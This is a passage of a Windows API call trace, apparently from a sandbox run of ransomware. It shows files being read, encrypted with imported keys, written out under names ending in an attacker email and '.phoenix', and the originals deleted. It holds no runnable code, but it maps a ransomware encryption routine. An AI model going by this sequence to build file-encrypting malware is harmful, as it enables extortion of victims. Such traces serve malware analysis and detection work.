	[0249.957] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0249.957] CryptDestroyKey (hKey=0x151440) returned 1
	[0249.957] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0249.958] CryptDestroyKey (hKey=0x151200) returned 1
	[0249.958] CloseHandle (hObject=0x2b4) returned 1
	[0249.958] CloseHandle (hObject=0x2b0) returned 1
	[0249.958] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0249.959] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0249.959] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0249.959] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=24576) returned 1
	[0249.959] CloseHandle (hObject=0x2b0) returned 1
	[0249.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0249.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.960] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0249.960] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0249.960] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0249.960] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.960] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1510c0) returned 1
	[0249.960] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0249.960] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x6000, lpOverlapped=0x0) returned 1
	[0249.994] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x6010, dwBufLen=0x6010 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x6010) returned 1
	[0249.994] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x6010, lpOverlapped=0x0) returned 1
	[0249.995] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151680) returned 1
	[0249.995] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0249.995] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0249.995] CryptDestroyKey (hKey=0x151680) returned 1
	[0249.995] WriteFile (in: hFile=0x2b4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0249.995] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0249.995] CloseHandle (hObject=0x2b0) returned 1
	[0249.995] CloseHandle (hObject=0x2b4) returned 1
	[0249.996] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0249.997] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0249.997] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.997] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=12288) returned 1
	[0249.997] CloseHandle (hObject=0x2b4) returned 1
	[0249.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0249.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.998] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.998] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0249.998] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0249.998] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0249.998] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0249.998] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0249.998] ReadFile (in: hFile=0x2b4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3000, lpOverlapped=0x0) returned 1
	[0250.013] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3010, dwBufLen=0x3010 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3010) returned 1
	[0250.014] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3010, lpOverlapped=0x0) returned 1
	[0250.015] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1510c0) returned 1
	[0250.015] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0250.015] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0250.015] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0250.015] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0250.015] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0250.015] CloseHandle (hObject=0x2b4) returned 1
	[0250.016] CloseHandle (hObject=0x2b0) returned 1
	[0250.016] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0250.017] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.017] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0250.018] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8192) returned 1
	[0250.018] CloseHandle (hObject=0x2b0) returned 1
	[0250.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0250.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.018] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0250.018] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0250.018] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0250.018] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.045] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151440) returned 1
	[0250.045] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0250.045] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2000, lpOverlapped=0x0) returned 1
	[0250.048] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2010, dwBufLen=0x2010 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2010) returned 1
	[0250.048] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2010, lpOverlapped=0x0) returned 1
	[0250.050] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1513c0) returned 1
	[0250.050] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0250.050] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0250.050] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0250.050] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0250.051] CryptDestroyKey (hKey=0x151440) returned 1
	[0250.051] CloseHandle (hObject=0x2b0) returned 1
	[0250.051] CloseHandle (hObject=0x2c4) returned 1
	[0250.051] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0250.052] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.052] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0250.054] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4096) returned 1
	[0250.054] CloseHandle (hObject=0x2b0) returned 1
	[0250.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0250.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.054] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0250.054] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0250.054] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0250.055] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.057] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151500) returned 1
	[0250.058] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0250.058] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1000, lpOverlapped=0x0) returned 1
	[0250.072] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1010, dwBufLen=0x1010 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1010) returned 1
	[0250.072] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1010, lpOverlapped=0x0) returned 1
	[0250.073] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1517c0) returned 1
	[0250.073] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0250.073] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0250.073] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0250.073] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0250.073] CryptDestroyKey (hKey=0x151500) returned 1
	[0250.073] CloseHandle (hObject=0x2b0) returned 1
	[0250.073] CloseHandle (hObject=0x2c8) returned 1
	[0250.073] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0250.074] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.074] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.075] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4096) returned 1
	[0250.075] CloseHandle (hObject=0x2c8) returned 1
	[0250.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0250.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.075] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.075] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0250.075] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0250.075] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0250.076] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151140) returned 1
	[0250.076] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0250.076] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1000, lpOverlapped=0x0) returned 1
	[0250.092] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1010, dwBufLen=0x1010 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1010) returned 1
	[0250.092] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1010, lpOverlapped=0x0) returned 1
	[0250.093] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151200) returned 1
